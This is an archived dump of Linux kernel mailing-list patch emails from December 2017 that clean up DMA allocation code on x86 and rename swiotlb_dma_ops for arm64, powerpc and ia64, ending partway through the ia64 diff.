NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:41 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:20:35 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUpu6-0004Vu-SY
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:20:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932773AbdL2IWa (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:30 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:54665 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932713AbdL2IWW (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:22:22 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=abpvdwL2tCzDnXOD5F5LsLv9sD9WVcYeU1Qw53xWjCI=; b=VTxX86IDHTqoDf2+a8nuYV8gJ
        4i+WDrVz9P/uLcSCiIOlKi5qqF+sGThlXnnzLgWz6fSuWy6byWAkPK7ax0aAQOUVoqb7EAszvOs95
        L59oX5ZmP2dG9DxxlIvY1H63o1if41MXvk6SROfIAIgxF5/yOEzsCI42mldKRdSKwPD9P+3EcvJpL
        Y8MVaP3eE+4tIZFWNncy7T8eqWCoqOYQdZlZMXTGSyd6fEpp6TIWTcw6Ss+sp7Qnu+tL836w9oGkq
        XisBGCA5XhKz7TSJ47syMIXR23uuDsHqMXgy4WlbszxCxtqObKW+caaRYK8eGlQ8QA1894IzqJ3EW
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvX-0002ji-55; Fri, 29 Dec 2017 08:22:03 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27077 gmane.linux.kernel.iommu:21914 gmane.linux.ports.alpha:4581 gmane.linux.kernel.arc:3202 gmane.linux.ports.arm.kernel:622927 gmane.linux.ports.hexagon:1434 gmane.linux.ports.ia64:28424 gmane.linux.kernel.metag:1508 gmane.linux.ports.mips.general:62957 gmane.linux.ports.parisc:28099 gmane.linux.ports.ppc64.devel:151531 gmane.linux.ports.sh.devel:56070 gmane.linux.kernel.cross-arch:40817 gmane.linux.kernel:2654244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27077>

Don't rely on the gfp mask from dma_alloc_coherent_gfp_flags to make the
fallback decision, and streamline the code flow a bit.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/kernel/amd_gart_64.c | 36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index 52e3abcf3e70..92054815023e 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -484,26 +484,26 @@ gart_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_addr,
 	unsigned long align_mask;
 	struct page *page;
 
-	if (force_iommu && !(flag & GFP_DMA)) {
-		flag &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
-		page = alloc_pages(flag | __GFP_ZERO, get_order(size));
-		if (!page)
-			return NULL;
-
-		align_mask = (1UL << get_order(size)) - 1;
-		paddr = dma_map_area(dev, page_to_phys(page), size,
-				     DMA_BIDIRECTIONAL, align_mask);
-
-		flush_gart();
-		if (paddr != bad_dma_addr) {
-			*dma_addr = paddr;
-			return page_address(page);
-		}
-		__free_pages(page, get_order(size));
-	} else
+	if (!force_iommu || dev->coherent_dma_mask <= DMA_BIT_MASK(24))
 		return dma_direct_alloc(dev, size, dma_addr, flag, attrs);
 
-	return NULL;
+	flag &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
+	page = alloc_pages(flag | __GFP_ZERO, get_order(size));
+	if (!page)
+		return NULL;
+
+	align_mask = (1UL << get_order(size)) - 1;
+	paddr = dma_map_area(dev, page_to_phys(page), size, DMA_BIDIRECTIONAL,
+			align_mask);
+
+	flush_gart();
+	if (unlikely(paddr == bad_dma_addr)) {
+		__free_pages(page, get_order(size));
+		return NULL;
+	}
+
+	*dma_addr = paddr;
+	return page_address(page);
 }
 
 /* free a coherent mapping */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 42/67] arm64: rename swiotlb_dma_ops
Date: Fri, 29 Dec 2017 09:18:46 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20171229081911.2802-43-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535642 20341 195.159.176.226 (29 Dec 2017 08:20:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:42 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Dec 29 09:20:36 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eUpu7-0004Vu-Ps
	for glpi-linux-ia64-2@m.gmane.org; Fri, 29 Dec 2017 09:20:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932651AbdL2IWh (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:37 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:33431 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755458AbdL2IWf (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 29 Dec 2017 03:22:35 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=1BBdoYoM/l6UKm5TJFRDYhOpw9JKiFvz2Ru2EyqoXcM=; b=RLBle+Rd62xCr23QDGYOwM0I/
        hyu5giqRxLqsVZhdmWKLd+VdJ3UGCSPwjCw5S3JgCmgqEiOSC00Y7B0xMLoMDJDATe3oeO3RIClVX
        U6AMnILaJqb4M4O87c6NKLXAZ/DWQfwlY1Q4HvuXdth+nWuz649zvbgF3zpXjSTb2/ntpUSY+i833
        ggPG79uJTA7J9iIcSiZBe14NkDC0wih6QR9eTA7S0X3zu7JFTyIvqg2Dgup2XvExXSwJ6+Iftl2lZ
        IIHUR7ahhsVOF/OWO0wlJzDBpVpmVn2IXGOGNV1hYhjCzlC40hEyH0kwvtW2eRYlN43FlaKU0Dt2M
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvn-0002uK-W4; Fri, 29 Dec 2017 08:22:20 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28425 gmane.linux.kernel.iommu:21915 gmane.linux.ports.alpha:4582 gmane.linux.kernel.arc:3203 gmane.linux.ports.arm.kernel:622928 gmane.linux.ports.hexagon:1435 gmane.linux.kernel.metag:1509 gmane.linux.ports.mips.general:62958 gmane.linux.ports.parisc:28100 gmane.linux.ports.ppc64.devel:151532 gmane.linux.ports.sh.devel:56071 gmane.linux.ports.sparc:27078 gmane.linux.kernel.cross-arch:40818 gmane.linux.kernel:2654245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28425>

We'll need that name for a generic implementation soon.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm64/mm/dma-mapping.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index f3a637b98487..6840426bbe77 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -368,7 +368,7 @@ static int __swiotlb_dma_mapping_error(struct device *hwdev, dma_addr_t addr)
 	return 0;
 }
 
-static const struct dma_map_ops swiotlb_dma_ops = {
+static const struct dma_map_ops arm64_swiotlb_dma_ops = {
 	.alloc = __dma_alloc,
 	.free = __dma_free,
 	.mmap = __swiotlb_mmap,
@@ -923,7 +923,7 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 			const struct iommu_ops *iommu, bool coherent)
 {
 	if (!dev->dma_ops)
-		dev->dma_ops = &swiotlb_dma_ops;
+		dev->dma_ops = &arm64_swiotlb_dma_ops;
 
 	dev->archdata.dma_coherent = coherent;
 	__iommu_setup_dma_ops(dev, dma_base, size, iommu);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 44/67] powerpc: rename swiotlb_dma_ops
Date: Fri, 29 Dec 2017 09:18:48 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <20171229081911.2802-45-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535649 22195 195.159.176.226 (29 Dec 2017 08:20:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:49 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Fri Dec 29 09:20:44 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eUpuF-00056K-6Y
	for glphk-linux-hexagon@m.gmane.org; Fri, 29 Dec 2017 09:20:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932807AbdL2IWp (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:45 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:34851 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932805AbdL2IWm (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Fri, 29 Dec 2017 03:22:42 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=xm1rsNgLlwhJkWbN6vSEJ6mxQ5QWhxwQ55E9ismDAEc=; b=ABV+c04IHWGjV13r+EulaBUCU
        04kvTMGjpcpCrMyktaPk/8BZF999XwAG6shsuzOwVVMJI75j3y/d2Tmjt2tuoQiWMGmTqa2awNdD3
        30+3oTmOxWRuU5Rkd2RSFZLKpgtQ8t/E4OVL3CLsdlC8tl0ida1JTmK42d71j5qO3d3XJRzaRRVDx
        4ESZWxnkCSBMe+TQjrWcbI1qTNV90164MbgVAs+5xlrnDdThfI3Hmq2hgmy6CNcEKjxlU4hlGsvbc
        KFlSQqBEYbQXVCzQ1r9tm5hKaVZA8bpG3Uv2fIiJg2tr3BhHlYFY0K1HqXsDW+U9nnk0SB1oMuxia
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvw-0002zc-10; Fri, 29 Dec 2017 08:22:28 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1436 gmane.linux.kernel.iommu:21916 gmane.linux.ports.alpha:4583 gmane.linux.kernel.arc:3204 gmane.linux.ports.arm.kernel:622929 gmane.linux.ports.ia64:28426 gmane.linux.kernel.metag:1510 gmane.linux.ports.mips.general:62959 gmane.linux.ports.parisc:28101 gmane.linux.ports.ppc64.devel:151533 gmane.linux.ports.sh.devel:56072 gmane.linux.ports.sparc:27079 gmane.linux.kernel.cross-arch:40819 gmane.linux.kernel:2654246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1436>

We'll need that name for a generic implementation soon.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/powerpc/include/asm/swiotlb.h | 2 +-
 arch/powerpc/kernel/dma-swiotlb.c  | 4 ++--
 arch/powerpc/kernel/dma.c          | 2 +-
 arch/powerpc/sysdev/fsl_pci.c      | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/arch/powerpc/include/asm/swiotlb.h b/arch/powerpc/include/asm/swiotlb.h
index 9341ee804d19..f65ecf57b66c 100644
--- a/arch/powerpc/include/asm/swiotlb.h
+++ b/arch/powerpc/include/asm/swiotlb.h
@@ -13,7 +13,7 @@
 
 #include <linux/swiotlb.h>
 
-extern const struct dma_map_ops swiotlb_dma_ops;
+extern const struct dma_map_ops powerpc_swiotlb_dma_ops;
 
 extern unsigned int ppc_swiotlb_enable;
 int __init swiotlb_setup_bus_notifier(void);
diff --git a/arch/powerpc/kernel/dma-swiotlb.c b/arch/powerpc/kernel/dma-swiotlb.c
index f1e99b9cee97..506ac4fafac5 100644
--- a/arch/powerpc/kernel/dma-swiotlb.c
+++ b/arch/powerpc/kernel/dma-swiotlb.c
@@ -46,7 +46,7 @@ static u64 swiotlb_powerpc_get_required(struct device *dev)
  * map_page, and unmap_page on highmem, use normal dma_ops
  * for everything else.
  */
-const struct dma_map_ops swiotlb_dma_ops = {
+const struct dma_map_ops powerpc_swiotlb_dma_ops = {
 	.alloc = __dma_nommu_alloc_coherent,
 	.free = __dma_nommu_free_coherent,
 	.mmap = dma_nommu_mmap_coherent,
@@ -89,7 +89,7 @@ static int ppc_swiotlb_bus_notify(struct notifier_block *nb,
 
 	/* May need to bounce if the device can't address all of DRAM */
 	if ((dma_get_mask(dev) + 1) < memblock_end_of_DRAM())
-		set_dma_ops(dev, &swiotlb_dma_ops);
+		set_dma_ops(dev, &powerpc_swiotlb_dma_ops);
 
 	return NOTIFY_DONE;
 }
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 1723001d5de1..b787692b91ee 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -33,7 +33,7 @@ static u64 __maybe_unused get_pfn_limit(struct device *dev)
 	struct dev_archdata __maybe_unused *sd = &dev->archdata;
 
 #ifdef CONFIG_SWIOTLB
-	if (sd->max_direct_dma_addr && dev->dma_ops == &swiotlb_dma_ops)
+	if (sd->max_direct_dma_addr && dev->dma_ops == &powerpc_swiotlb_dma_ops)
 		pfn = min_t(u64, pfn, sd->max_direct_dma_addr >> PAGE_SHIFT);
 #endif
 
diff --git a/arch/powerpc/sysdev/fsl_pci.c b/arch/powerpc/sysdev/fsl_pci.c
index e4d0133bbeeb..61e07c78d64f 100644
--- a/arch/powerpc/sysdev/fsl_pci.c
+++ b/arch/powerpc/sysdev/fsl_pci.c
@@ -118,7 +118,7 @@ static void setup_swiotlb_ops(struct pci_controller *hose)
 {
 	if (ppc_swiotlb_enable) {
 		hose->controller_ops.dma_dev_setup = pci_dma_dev_setup_swiotlb;
-		set_pci_dma_ops(&swiotlb_dma_ops);
+		set_pci_dma_ops(&powerpc_swiotlb_dma_ops);
 	}
 }
 #else
-- 
2.14.2


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 43/67] ia64: rename swiotlb_dma_ops
Date: Fri, 29 Dec 2017 09:18:47 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <20171229081911.2802-44-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535658 24230 195.159.176.226 (29 Dec 2017 08:20:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:58 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:20:52 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUpuK-0005ZT-7Q
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:20:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932832AbdL2IWt (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:49 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46793 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932791AbdL2IWj (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:22:39 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=6Yp8EoHBxARJJB1r6yOQnmvLf7iD9PCfcljEVvvKzHA=; b=Q4v+mJzC/ujUrWxQUb7B/s/hf
        Hdq9q00KsX9vwsoC97VARHQ3kOIQqrifxUBJ01/Lpj5CGN7ubc2/0zMvPj89g1CODKRMzIXTPjOpH
        UXworf2OwFcGfVG9B4f7Nx8aSl18giuMA/1B+mVRIfyh/jaAMMghp6kR8RJtROoWCYrgn2aqjxVlK
        Lp2B+NJcAucC/U2M+5pZkSR/lpB3usdB7i4xlzA5a9mQhk6v8iuB8PXa+E9rWW33h61rjxxlKOx+W
        hZZ6zm26YNizjctERhAs+g3evZks9pt6AejYa876Uq2i+E5SJF3lFMDym7Y+lvuIhTbL+fX5bI9da
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvr-0002xH-RT; Fri, 29 Dec 2017 08:22:24 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27080 gmane.linux.kernel.iommu:21917 gmane.linux.ports.alpha:4584 gmane.linux.kernel.arc:3205 gmane.linux.ports.arm.kernel:622930 gmane.linux.ports.hexagon:1437 gmane.linux.ports.ia64:28427 gmane.linux.kernel.metag:1511 gmane.linux.ports.mips.general:62960 gmane.linux.ports.parisc:28102 gmane.linux.ports.ppc64.devel:151534 gmane.linux.ports.sh.devel:56073 gmane.linux.kernel.cross-arch:40820 gmane.linux.kernel:2654247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27080>

We'll need that name for a generic implementation soon.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/hp/common/hwsw_iommu.c | 4 ++--
 arch/ia64/hp/common/sba_iommu.c  | 6 +++---
 arch/ia64/kernel/pci-swiotlb.c   | 6 +++---
 3 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/arch/ia64/hp/common/hwsw_iommu.c b/arch/ia64/hp/common/hwsw_iommu.c
index 63d8e1d2477f..41279f0442bd 100644
--- a/arch/ia64/hp/common/hwsw_iommu.c
+++ b/arch/ia64/hp/common/hwsw_iommu.c
@@ -19,7 +19,7 @@
 #include <linux/export.h>
 #include <asm/machvec.h>
 
-extern const struct dma_map_ops sba_dma_ops, swiotlb_dma_ops;
+extern const struct dma_map_ops sba_dma_ops, ia64_swiotlb_dma_ops;
 
 /* swiotlb declarations & definitions: */
 extern int swiotlb_late_init_with_default_size (size_t size);
@@ -38,7 +38,7 @@ static inline int use_swiotlb(struct device *dev)
 const struct dma_map_ops *hwsw_dma_get_ops(struct device *dev)
 {
 	if (use_swiotlb(dev))
-		return &swiotlb_dma_ops;
+		return &ia64_swiotlb_dma_ops;
 	return &sba_dma_ops;
 }
 EXPORT_SYMBOL(hwsw_dma_get_ops);
diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
index 6f05aba9012f..d68849ad2ee1 100644
--- a/arch/ia64/hp/common/sba_iommu.c
+++ b/arch/ia64/hp/common/sba_iommu.c
@@ -2093,7 +2093,7 @@ static int __init acpi_sba_ioc_init_acpi(void)
 /* This has to run before acpi_scan_init(). */
 arch_initcall(acpi_sba_ioc_init_acpi);
 
-extern const struct dma_map_ops swiotlb_dma_ops;
+extern const struct dma_map_ops ia64_swiotlb_dma_ops;
 
 static int __init
 sba_init(void)
@@ -2108,7 +2108,7 @@ sba_init(void)
 	 * a successful kdump kernel boot is to use the swiotlb.
 	 */
 	if (is_kdump_kernel()) {
-		dma_ops = &swiotlb_dma_ops;
+		dma_ops = &ia64_swiotlb_dma_ops;
 		if (swiotlb_late_init_with_default_size(64 * (1<<20)) != 0)
 			panic("Unable to initialize software I/O TLB:"
 				  " Try machvec=dig boot option");
@@ -2130,7 +2130,7 @@ sba_init(void)
